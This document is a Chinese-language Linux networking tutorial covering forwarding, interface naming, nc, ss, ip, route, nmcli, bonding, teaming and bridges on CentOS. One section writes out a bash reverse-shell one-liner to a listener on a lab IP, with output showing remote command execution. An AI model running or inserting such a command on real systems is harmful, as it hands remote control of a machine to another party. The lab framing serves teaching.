    另外,IP地址是属于内核的(不仅如此,整个TCP/IP协议栈都属于内核),只要能和其中一个地址通信,就能和另一个地址通信,而不管是否开启了数据包转发功能。

    例如某Linux主机有两个网卡ETH0:172.16.10.5和eth1:192.168.100.20,某192.168.100.22主机网关指向192.168.100.20,若它ping172.16.10.5,结果将是通的,因为地址属于内核,从eth1进来的数据包被内核分析时,发现目标地址为本机地址,直接就回应192.168.100.22,回应数据包继续从eth1出去。
    但如果不开启数据包转发功能,则这些网卡之间是无法胡同的,192.168.100.22能ping通172.160.10.5,但却无法ping通Linux主机该网卡同网段的另一台主机172.168.10.6

    在linux上开启转发功能:
    临时有效

    echo 1 > /proc/sys/net/ipv4/ip_forward
    sysctl -w net.ipv4.ip_forward=1
    

    永久有效

    centos6中将/etc/sysctl.conf中的net.ipv4.ip_forward值改为1
    centos7将systemd管理了除/etc/sysctl.conf还有
    /etc/sysctl.d/*.conf和/usr/lib/sysctl.d/*.conf
    建议写在/etc/sysctl.d/*.conf中,这是systemd提供自定义内核修改项的目录
    
    echo "net.ipv4.ip_forward=1" >/etc/sysctl.d/ip_forward.conf
    

    网卡类型:

    • lo:本地回环接口
    • eth0:以太网网卡。
    • ppp0:点到点网卡
    • pppoe 小区宽带
    • tr0 令牌环
    • bond0 双网卡绑定

    二、Centos网络配置

    1. 网卡命名配置文件

    RHEL5:    /etc/modprobe.conf
    RHEL6:    /etc/udev/rules.d/70-persisten-net.rules
    centos7,8: /etc/sysconfig/grub.cfg      #在配置文件中禁用系统命令默认命名。
    编辑grub配置文件”/etc/sysconfig/grub“:
    在”GRUB_CMDLINE_LINUX“变量最后添加一句” net.ifnames=0“.
    grub2-mkconfig -o /boot/grub2/grub.cfg ; 
    root
    

    上面只是改了网卡的名称,要想配置IP地址,需要到各自的配置文件中配置。配置文件中的网卡名称要与修改后的网卡名称保持一致。

    临时修改网卡名称:

    ip link set eth0 down
    ip link set eth0 name abc
    ip link set abc up
    

    2.了解命令

    2.1 查看网卡相关命令

    dmesg |grep –i eth
    ethtool -i eth0

    2.2 网卡驱动相关

    卸载网卡驱动
    modprobe -r e1000
    rmmod e1000

    装载网卡驱动
    modprobe e1000

    2.3 查看双工和速度命令

    [root@maple ~]# mii-tool eth0
    eth0: negotiated 1000baseT-FD flow-control, link ok
    [root@maple ~]# mii-tool -v eth0
    eth0: negotiated 1000baseT-FD flow-control, link ok
      product info: Yukon 88E1011 rev 3
      basic mode:   autonegotiation enabled
      basic status: autonegotiation complete, link ok
      capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
      advertising:  1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
      link partner: 1000baseT-HD 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
    

    2.4 服务器如何判断网线是否连接正常

    [root@maple-c7 ~]# mii-tool eth1
    eth1: no link
    [root@maple-c7 ~]# ethtool eth1
    Settings for eth1:
            Supported ports: [ TP ]
            Supported link modes:   10baseT/Half 10baseT/Full 
                                    100baseT/Half 100baseT/Full 
                                    1000baseT/Full 
            Supported pause frame use: No
            Supports auto-negotiation: Yes
            Advertised link modes:  10baseT/Half 10baseT/Full 
                                    100baseT/Half 100baseT/Full 
                                    1000baseT/Full 
            Advertised pause frame use: No
            Advertised auto-negotiation: Yes
            Speed: Unknown!
            Duplex: Unknown! (255)
            Port: Twisted Pair
            PHYAD: 0
            Transceiver: internal
            Auto-negotiation: on
            MDI-X: Unknown (auto)
            Supports Wake-on: d
            Wake-on: d
            Current message level: 0x00000007 (7)
                                   drv probe link
            Link detected: no
    [root@maple-c7 ~]# ip link show
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT qlen 1
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
        link/ether 00:0c:29:0d:bd:2d brd ff:ff:ff:ff:ff:ff
    3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN mode DEFAULT qlen 1000
        link/ether 00:0c:29:0d:bd:37 brd ff:ff:ff:ff:ff:ff        
    

    2.5 调整客户端的动态端口范围

    [root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range 
    32768   60999
    [root@maple /]# echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
    [root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range               
    20000   62000
    

    2.6 nc工具

    — arbitrary TCP and UDP connections and listens 监听一个任意的tcp和UDP连接

    #服务器启动监听
    [root@maple data]# nc -l 9527
    #客户端连接端口
    root@ubuntu1804:~# nc 10.0.0.150 9527 #输入字符,服务器端可以看到。
    hello,I am ubuntu
    

    2.7 判断端口是否打开

    [root@maple data]# < /dev/tcp/127.0.0.1/80
    -bash: connect: Connection refused
    -bash: /dev/tcp/127.0.0.1/80: Connection refused
    [root@maple data]# < /dev/tcp/127.0.0.1/2
    -bash: connect: Connection refused
    -bash: /dev/tcp/127.0.0.1/2: Connection refused
    [root@maple data]# < /dev/tcp/127.0.0.1/22
    [root@maple data]# 
    [root@maple data]# 
    [root@maple data]# echo $?
    0
    

    2.8 查找端口冲突的应用

    [root@maple data]# nc -l 22
    nc: Address already in use
    [root@maple data]# ss -tlnp |grep 22
    LISTEN    0         128                0.0.0.0:22               0.0.0.0:*        users:(("sshd",pid=834,fd=4))                                                  
    LISTEN    0         128                   [::]:22                  [::]:*        users:(("sshd",pid=834,fd=6))                                                  
    [root@maple data]# lsof -i :22
    COMMAND  PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    sshd     834  root    4u  IPv4  27552      0t0  TCP *:ssh (LISTEN)
    sshd     834  root    6u  IPv6  27554      0t0  TCP *:ssh (LISTEN)
    sshd    1123  root    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
    sshd    1136 maple    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
    [root@maple data]# 
    

    2.9 linux arp命令

    [root@maple pam.d]# ip neigh
    10.0.0.2 dev eth0 lladdr 00:50:56:e7:7f:3e STALE
    10.0.0.1 dev eth0 lladdr 00:50:56:c0:00:08 REACHABLE
    [root@maple pam.d]# arp -n
    Address                  HWtype  HWaddress           Flags Mask            Iface
    10.0.0.2                 ether   00:50:56:e7:7f:3e   C                     eth0
    10.0.0.1                 ether   00:50:56:c0:00:08   C                     eth0
    

    2.10 arping命令探测IP是否冲突

    [root@maple ~]# arping 10.0.0.151ARPING 10.0.0.151 from 10.0.0.150 eth0
    Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.145ms
    Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.072ms
    Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.112ms
    

    2.11 arp静态绑定配置:

    arp -s ip mac
    

    2.12 反弹shell实现远程控制

    #服务器端
    [root@maple-c8 ~]# yum install -y nc
    [root@maple-c8 ~]# nc -lv 6666    #监听6666端口
    
    #客户端
    [root@maple-c7 ~]# bash -i &> /dev/tcp/10.0.0.150/6666 0>&1
    #服务器端:输入hostname查看
    [root@maple-c8 ~]# nc  -lv 6666 
    Listening on 0.0.0.0 6666
    Connection received on 10.0.0.152 53358
    [root@maple-c7 ~]# 
    [root@maple-c7 ~]# hostname
    hostname
    maple-c7.maple.com
    

    3.配置主机名:

    centos6的主机名配置

    hostname    HOSTNAME              #立即生效,但不是永久有效;
    vim /etc/sysconfig/network          #永久有效,重启
       HOSTNAME=www.magedu.com        
       NETWORKING=yes                   #本机是否启用网络功能的开关
       NETWORKING_IPV6=no              #是否启用ipv6
       GATEWAY=                  #也可以定义网关,以网卡配置文件为准
    

    centos7,8和ubuntu主机名设置

    hostnamectl set-hostname www.maple.com   #直接生效,配置文件也会更新,退出重新登录即可。
    配置文件所在地是/etc/hostname
    

    4.网络配置命令

    4.1 IP配置

    ifconfig命令:来自net-tools包,不推荐使用了,建议使用ip
    ifconfig [ethx]                   ##查看当前系统活动的网卡。
            -a                        #显示所有接口信息
    ifconifg eth0 10.1.1.1/24         #配置立即生效,重启网络服务或主机不生效
    ifocnfig eth0:1 192.168.3.253     #设置eth0的第二个IP地址
    ifconfig eth0 down               #将一个接口禁用
    ifconfig eth0 0                   #清除eth0上面的地址
    
    #关闭ICMP响应 使其不返回ping响应包
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all   
    

    4.2 route命令:

    来自net-tools包,不推荐使用了,建议使用ip

    路由表主要构成:

    • Destination: 目标网络ID,表示可以到达的目标网络ID,0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低
    • Genmask:目标网络对应的netmask
      Iface: 到达对应网络,应该从当前主机哪个网卡发送出来
    • Gateway: 到达非直连的网络,将数据发送到临近(下一个)路由器的临近本主机的接口的IP地址,如果是直连网络,gateway是0.0.0.0
    • Metric: 开销cost,值越小,路由记录的优先级最高

    查看路由

    route  [-n]      ##直接查看路由表
                     #-n以数字方式显示各主机或端口等相关信息
    

    添加:route add

    route add [-net|-host|default] target [netmask Nm] [gw GW] [[dev] If]
      -host    #主机路由
      -net     #到某一个网络的
      default  #默认路由 ,这三个选项不写,默认添加主机路由。
      
    route add -net 20.0.10.0/24 gw 10.0.0.152    ##到达20.0.10.0/24网络的路由下一跳是10.0.0.152
    route add -net 20.0.10.0 netmask 255.255.255.0 gw 10.0.0.152 #还可以写成netmask
    route add -net 20.0.11.0/24 eth0       #到达20.0.11.0/24网络路由的出接口是eth01
    route add [-host] 1.1.1.1 eth1         #添加到1.1.1.1的主机路由
    route add default gw 10.0.0.2          #添加默认路由,指向网关
    

    删除:route del

    route del  [-A]        # -A指定地址类型,默认为ipv4
    route del -net 10.0.0.0/8
    route del -net 20.0.10.0/24
    route del -net 20.0.11.0/24
    route del default 
    route del 1.1.1.1
    route del default
    

    范例:实现静态路由
    四台主机:
    A主机:eth0 NAT模式
    R1主机:eth0 NAT模式,eth1 vmnet1模式
    R2主机:eth1 vmnet1模式,eth0 vmnet2模式
    B主机:eth0 vmnet2模式
    在这里插入图片描述

    A主机
    ifconfig eth0 10.0.0.123/8
    route add default gw 10.0.0.200
    
    R1:
    ifconfig eth0 10.0.0.200/8
    ifconfig eth1 192.168.0.200/24
    route add -net 172.16.0.0/16 gw 192.168.0.201
    echo 1 > /proc/sys/net/ipv4/ip_forward
    
    R2:
    ifconfig eth1 192.168.0.201/24
    ifconfig eth0 172.16.0.200/16
    route add -net 10.0.0.0/8 gw 192.168.0.200
    echo 1 > /proc/sys/net/ipv4/ip_forward
    
    B主机:
    ifconfig eth0 172.16.0.123/16
    route add default gw 172.16.0.200
    

    4.3 netstat命令:

    来自net-utools包,建议使用ss替代
    -r:显示路由表
    -n:以数字方式显示
    -t:建立的tcp连接
    -u:建立的udp连接 udp显示不出来,因为是无连接的协议
    -l:显示监听状态的连接
    -p:显示监听指定的套接字的进程号和进程名

    4.4 iproute2命令:

    来自于iproute包,可用于代理ifconfig
    命令说明:

    OBJECT := { link | addr | route }
    ip link - network device configuration
    set dev IFACE,可设置属性:up and down:激活或禁用指定接口,相当于 ifup/ifdown
    show [dev IFACE] [up]::指定接口 ,up 仅显示处于激活状态的接口
    man帮助:ip(8), ip-address(8), ip-link(8), ip-route(8)
    
    ip    
        link:配置网络接口链路层属性
            show                #查看网络接口地址
                ip -s link show    #显示统计发出的报文
            set    
                ip link set DEV {up|down}
                ip link set eth0 address 52:54:00:af:15:b1       #修改网卡MAC地址
        addr:配置网络层属性
            add
                ip addr add 10.2.2.2/24 dev eth1
                ip addr add 10.3.3.3/24 dev eth1 label eth1:1   #增加网卡别名实现一个网卡多个IP
            del
                ip addr del 10.2.2.2/24 dev eth1
            show
                ip addr show to 10/8
            flush
                ip addr flush dev eth0   #清除网络地址
        route:路由
                ip route add to 10.0.0.8/8 dev eth0 via 172.16.0.1
                ip route del 10.0.0.8/8
    

    修改IP:先添加新IP,在删除旧IP

    [root@maple-c8 ~]# ip a a 127.0.0.10/8 dev lo
    [root@maple-c8 ~]# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet 127.0.0.10/8 scope host secondary lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
           valid_lft forever preferred_lft forever
    [root@maple-c8 ~]# ip a d 127.0.0.1/8 dev lo
    [root@maple-c8 ~]# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.10/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
           valid_lft forever preferred_lft forever
    

    范例:设置ip地址定时消失,默认是forever
    在这里插入图片描述

    [root@maple-c8 ~]# ip add a 1.1.1.1/32 dev eth0 preferred_lft 20 valid_lft 30
    [root@maple-c8 ~]# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
           valid_lft forever preferred_lft forever
        inet 1.1.1.1/32 scope global dynamic eth0
           valid_lft 28sec preferred_lft 18sec
    [root@maple-c8 ~]# 
    #30s后消失
    [root@maple-c8 ~]# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
        inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
           valid_lft forever preferred_lft forever
    

    4.5 ss命令:

    来自于iproute包,代替netstat,netstat 通过遍历 /proc来获取 socket信息,ss 使用 netlink与内核tcp_diag 模块通信获取 socket 信息

    格式

    ss [OPTION]... [FILTER]
    
    OPTION
        -t: tcp协议相关
        -u: udp协议相关
        -w: 裸套接字相关
        -x:unix sock相关
        -l: listen状态的连接
        -a: 所有
        -n: 数字格式
        -p: 相关的程序及PID
        -e: 扩展的信息
        -m:内存用量
        -o:计时器信息
    
    FILTER : [ state TCP-STATE ] [ EXPRESSION ]
    TCP的常见状态:
        tcp finite state machine:
            LISTEN: 监听
            ESTABLISHED:已建立的连接
            FIN_WAIT_1
            FIN_WAIT_2
            SYN_SENT
            SYN_RECV
            CLOSED
            
    EXPRESSION:
        dport =
        sport =
    

    常用组合
    -tan,-tanl,-tanlp,-uan

    常见用法

    #显示本地打开的所有端口
    ss -l
    #显示每个进程具体打开的socket
    ss -pl
    #显示所有tcp socket
    ss -t -a
    #显示所有的UDP Socekt
    ss -u -a
    #显示所有已建立的ssh连接
    ss -o state established '( dport = :ssh or sport = :ssh )'
    #显示所有已建立的HTTP连接
    [root@maple-c8 ~]# ss -o state established '( dport = :ssh or sport = :ssh )'
    Netid             Recv-Q             Send-Q                         Local Address:Port                           Peer Address:Port                                                        
    tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:fmwp               timer:(keepalive,71580min,0)             
    tcp               0                  96                                10.0.0.150:ssh                                10.0.0.1:10236              timer:(on,235ms,0)                       
    tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:jaus               timer:(keepalive,52sec,4) 
    #显示socket详细信息
    [root@maple-c8 ~]# ss -s
    Total: 194
    TCP:   5 (estab 3, closed 0, orphaned 0, timewait 0)
    
    Transport Total     IP        IPv6
    RAW       0         0         0        
    UDP       2         1         1        
    TCP       5         4         1        
    INET      7         5         2        
    FRAG      0         0         0  
    

    4.6 网络配置工具nmcli

    network                   #5和6使用
    NetworkManager            #7使用,和network冲突
    nmcli                     #nmtui命令行工具,可以实现链路聚合
    

    依赖NetworkManager服务,此服务是管理和监控网络设置的守护进程

    安装 bash-completion包可以 按tab键提示命令

    nmcli命令

    • connection:逻辑连接,侧重逻辑设置。同一时间只能启用启用其中一个
    • device:网络接口,是物理设备。多个connection可以应用到同一个device

    对于一个网络接口,可以设置多个网络连接,根据需要up相应的connection

    格式

    nmcli [ OPTIONS ] OBJECT { COMMAND | help }
    device - show and manage network interfaces
        nmcli device help  #相当于 ip link
    connection - start, stop, and manage network connections
        nmcli connection help   #相当于 ip a
    

    修改配置文件属性使其生效

    nmcli con reload
    nmcli con up con-name
    

    命令对比

    nmcli 配置文件
    nmcli con mod ifcfg**-*** 文件
    ipv4.method manual BOOTPROTO=none
    ipv4.method auto BOOTPROTO=dhcp
    ipv4.addresses 192.168.2.1/24 IPADDR=192.168.2.1 PREFIX=24
    ipv4.gateway 172.16.0.200 GATEWAY=192.0.2.254
    ipv4.dns 8.8.8.8 DNS0=8.8.8.8
    ipv4.dns-search example.com DOMAIN=example.com
    ipv4.ignore-auto-dns true PEERDNS=no
    connection.autoconnect yes ONBOOT=yes
    connection.id eth0 NAME=eth0
    connection.interface-name eth0 DEVICE=eth0
    802-3-ethernet.mac-address . . . HWADDR= . . .
    nmcli dev status | show  [IFACE]   #查看设备状态,指定网卡名称会显示更多信息
    nmcli con show  [CON-NAME]         #显示连接状态,指定逻辑连接名称会显示更多信息
    
    nmcli con add con-name home-eth0 type ethernet ifname eno2    #添加网络接口, #ifname=物理接口
    nmcli con up home-eth0          #启用连接之后,会自动获取IP地址
    nmcli con del home-eth0           #删除逻辑连接
                                              
     nmcli con up eno2                  #启动连接
     nmcli con down eno2                #禁用连接
     
     
     nmcli con mod home-eth0
        ipv4.addresses "192.0.2.124/24 192.0.2.254"  #ip+网关
        ipv4.dns 8.8.8.8
        ipv4.method manual              #ipv4的配置方式,auto是dhcp
        ipv4.method auto                #ipv4的自动配置方式
        connection.autoconnect yes        ##每次开机自动启动网卡
        connection.id eth0
        ---
    
    
    #修改连接设置
    nmcli con mod “static” connection.autoconnect no
    nmcli con mod “static” ipv4.dns 172.25.X.254
    nmcli con mod “static”  +ipv4.dns  8.8.8.8
    nmcli con mod “static”  -ipv4.dns  8.8.8.8
    nmcli con mod “static” ipv4.addresses “172.16.X.10/24  172.16.X.254”
    nmcli con mod “static”  +ipv4.addresses 10.10.10.10/16
    #DNS设置存放在/etc/resolv.conf,PEERDNS=no 表示当IP通过dhcp自动获取时,dns仍是手动设置,
    不自动获取等价于下面命令
    nmcli con mod “system eth0” ipv4.ignore-auto-dns yes
    
    

    4.7 nmcli配置bond

    nmcli配置bond:

    #添加bonding接口
    nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
    ipv4.method manual ipv4.addresses 10.0.0.100/24
    #添加从属接口
    nmcli con add type bond-slave ifname ens7 master bond0
    nmcli con add type bond-slave ifname ens3 master bond0
    #注:如无为从属接口提供连接名,则该名称是接口名称加类型构成
    #要启动绑定,则必须首先启动从属接口
    nmcli con up bond-slave-eth0
    nmcli con up bond-slave-eth1
    #启动绑定
    nmcli con up mybond0
    

    4.8 nmcli 配置Network Teaming

    网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量
    网络组不同于旧版中bonding技术,提供更好的性能和扩展性
    网络组由内核驱动和teamd守护进程实现
    网络组接口:逻辑合成的接口
    port接口:物理网卡

    多种方式 runner

    broadcast:广播 
    roundrobin:轮询
    activebackup:主备
    loadbalance:负载均衡
    lacp (implements the 802.3ad Link Aggregation Control Protocol)
    
    nmcli con add type team con-name myteam0 ifname team0 config '{"runner":{"name": "loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
    nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
    nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
    # nmcli con up myteam0    可省,下面开启port接口会自动将网络组接口开启
    nmcli con up team0-eth1
    nmcli con up team0-eth2
    

    命令配置完成之后会自动在/etc/sysconfig/network-scripts/目录下生成相关的配置文件。

    #网络组接口配置文件
    /etc/sysconfig/network-scripts/ifcfg-team0
    DEVICE=team0
    DEVICETYPE=Team
    TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
    BOOTPROTO=none
    IPADDR0=172.16.0.100
    PREFIX0=24
    NAME=team0
    ONBOOT=yes
    
    #port口配置文件
    /etc/sysconfig/network-scripts/ifcfg-team0-eth1
    DEVICE=eth1
    DEVICETYPE=TeamPort
    TEAM_MASTER=team0
    NAME=team0-eth1
    ONBOOT=yes
    

    删除网络组

    nmcli connection down team0
    teamdctl team0 state
    nmcli connection  delete myteam0
    nmcli connectioni delete team0-eth0
    nmcli connectioni delete team0-eth1
    nmcli connection 
    

    4.9 Linux网桥概念:

    虚拟的类似交换机的东西,能够将多个网卡接口连接,使其划分一个独立的网络。相互通信相互隔离。

    配置网桥:工具包:bridge-utils,目前Centos8无此包
    在这里插入图片描述
    服务器创建网卡配置

    brctl show
    brctl addbr br0
    brctl addif br0 eth0
    brctl addif br0 eth1
    ip link set br0 up
    

    在这里插入图片描述
    brctl还支持stp的功能

    brctl stp br0 on  #开启STP
    

    删除br0

    brctl delif br0 eth0
    brctl delif br0 eth1
    ip link set br0 down
    brctl delbr br0
    brctl show
    

    nmcli命令创建网桥

    nmcli connection add type bridge con-name br0 ifname br0 ipv4.method manual
    nmcli connection add type bridge-slave con-name br0-eth0 ifname eth0 master br0
    nmcli connection add type bridge-slave con-name br0-eth1 ifname eth1 master br0
    nmcli connection up br0
    nmcli connection up eth0
    nmcli connection up eth1
    

    5.网络配置文件

    5.1 IP,MASK,GW,DNS相关的配置文件:

    /etc/sysconfig/network-scripts/ifcfg-eth0
    说明参考:
    /usr/share/doc/initcripts-*/sysconfig.txt

     cat !$
        DEVICE        #关联的设备名称,要与文件名的后半部分eth0一定要保持一致。
        BOOTPROTO={static|none|dhcp|bootp}        #引导协议,使用静态地址,使用static或none。dhcp表示使用dhcp获取地址。bootp为dhcp的前身
        IPADDR=#IP地址
        NETMASK=#子网掩码
        GATEWAY=           #默认网关
        ONBOOT={yes|no}      #开机时是否自动激活此网络接口
        HWADDR=#硬件地址,要与硬件中的地址保持一致,可以省略。
        USERCTL={yes|no}    #是否允许普通用户控制此接口的启用和禁用。
        PEERDNS={yes|no}    #是否在BOOTPROTO为dhcp时接受由dhcp服务器指定的DNS地址。
        ONPARENT=yes        #(启用网卡别名)   
        DNS1=            #DNS服务器地址
        DNS2=
     DOMAIN         #主机不完整时,自动搜索的域名后缀
    NM_CONTROLLED         #NM是NetworkManager的简写,此网卡是否接受NM控制
    

    不会立即生效,但重启网络服务或主机都会生效。
    centos7及一下使用service network restart重启
    centos8使用
    nmcli connection reload
    nmcli connection eth0 down/up

    5.2 本地dns配置文件

    /etc/hosts

    5.3 远端dns配置文件

    /etc/resolv.conf
    nameserver DNS1IP
    nameserver DNS2IP
    nameserver DNS3IP
    

    网卡配置文件中配置的DNS地址,在使其生效时会覆盖到该文件中。
    该文件改完之后立即生效

    5.4 修改 /etc/hosts和DNS的优先级

    /etc/nsswitch.conf
    hosts: files dns

    5.5 路由相关的配置文件:

    /etc/sysconfig/network-scripts/route-IFACE
    在这个目录下创建文件route-IFACE
    两种风格:

    添加格式一为:
        目的网段            via             下一跳
        192.168.1.0/24     via             10.10.10.254
    添加格式二:
        ADDRESS0=192.168.1.0
        NETMASK0=255.255.255.0
        GATEWAY0=10.10.10.254 
        ADDRESS1=
        NETMASK1=
        GATEWAY1=
        永久有效
    

    centos7和6还可以通过 /etc/sysconfig/static-routes文件添加持久静态路由

    #可以看到centos7系统启动脚本中获取路由的脚本
    [root@centos7 ~]#grep -A 3 "/etc/sysconfig/static-routes" /etc/init.d/network
    # Add non interface-specific static-routes.
        if [ -f /etc/sysconfig/static-routes ]; then
           if [ -x /sbin/route ]; then
               grep "^any" /etc/sysconfig/static-routes | while read ignore args ; do
                       /sbin/route add -$args
               done
           else
    
    # 查看当前路由
    [root@centos7 ~]#route -n
    Kernel IP routing table
    Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
    0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
    10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
    #创建文件
    [root@centos7 ~]#vim /etc/sysconfig/static-routes
    [root@centos7 ~]#cat /etc/sysconfig/static-routes
    any net 192.168.1.0/24 gw 10.0.0.254
    any net 192.168.2.0/24 gw 10.0.0.254
    [root@centos7 ~]#systemctl restart network    
    #确认路由生效
    [root@centos7 ~]#route -n
    Kernel IP routing table
    Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
    0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
    10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
    192.168.1.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0
    192.168.2.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0
    

    5.6 网卡别名:

    将多个IP地址绑定到一个NIC上
    每个IP绑定到独立逻辑网卡,即网络别名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3
    范例:ifconfig 命令

    ifconfig eth0:0 192.168.1.100/24 up
    ifconfig eth0:0 down
    

    范例:ip 命令

    ip addr add 172.16.1.1/16 dev eth0
    ip addr add 172.16.1.2/16 dev eth0 label eth0:0
    ip addr del 172.16.1.2/16 dev eth0 label eth0:0
    ip addr flush dev eth0 label eth0:0
    

    为每个设备别名生成独立的接口配置文件,格式为:ifcfg-ethX:xxx
    范例:

    [root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
    DEVICE=eth0:1
    IPADDR=10.0.0.100
    PREFIX=8
    [root@maple-c8 ~]# nmcli connection reload
    [root@maple-c8 ~]# nmcli connection down eth0
    [root@maple-c8 ~]# nmcli connection up eth0
    [root@centos8 ~]#ifconfig
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
       inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
       ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
       RX packets 2320 bytes 200266 (195.5 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 1891 bytes 279736 (273.1 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
       ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
    

    注意:

    建议 CentOS 6 关闭 NetworkManager 服务
    网卡别名必须使用静态地址
    

    5.7 多网卡bonding

    将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一IP
    地址是不可以的。通过 bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址

    5.7.1 Bonding 聚合链路工作模式

    bond聚合链路模式共7种模式:0-6 Mode

    • mod=0 ,即:(balance-rr) Round-robin policy(轮询)聚合口数据报文按包轮询从物理接口转发。
      负载均衡—所有链路处于负载均衡状态,轮询方式往每条链路发送报文这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。
      性能问题—一个连接或者会话的数据包如果从不同的接口发出的话,中途再经过不同的链路,在客户端很有可能会出现数据包无序到达的问题,而无序到达的数据包需要重新要求被发送,这样网络的吞吐量就会下降。Bond0在大压力的网络传输下,性能增长的并不是很理想。
      需要交换机进行端口绑定

    • mod=1,即: (active-backup) Active-backup policy(主-备份策略)只有Active状态的物理接口才转发数据报文。
      容错能力—只有一个slave是激活的(active)。也就是说同一时刻只有一个网卡处于工作状态,其他的slave都处于备份状态,只有在当前激活的slave故障后才有可能会变为激活的(active)。
      无负载均衡—此算法的优点是可以提供高网络连接的可用性,但是它的资源利用率较低,只有一个接口处于工作状态,在有 N 个网络接口的情况下,资源利用率为1/N。

    • mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口数据报文按源目MAC、源目IP、源目端口进行异或HASH运算得到一个值,根据该值查找接口转发数据报文
      负载均衡—基于指定的传输HASH策略传输数据包。
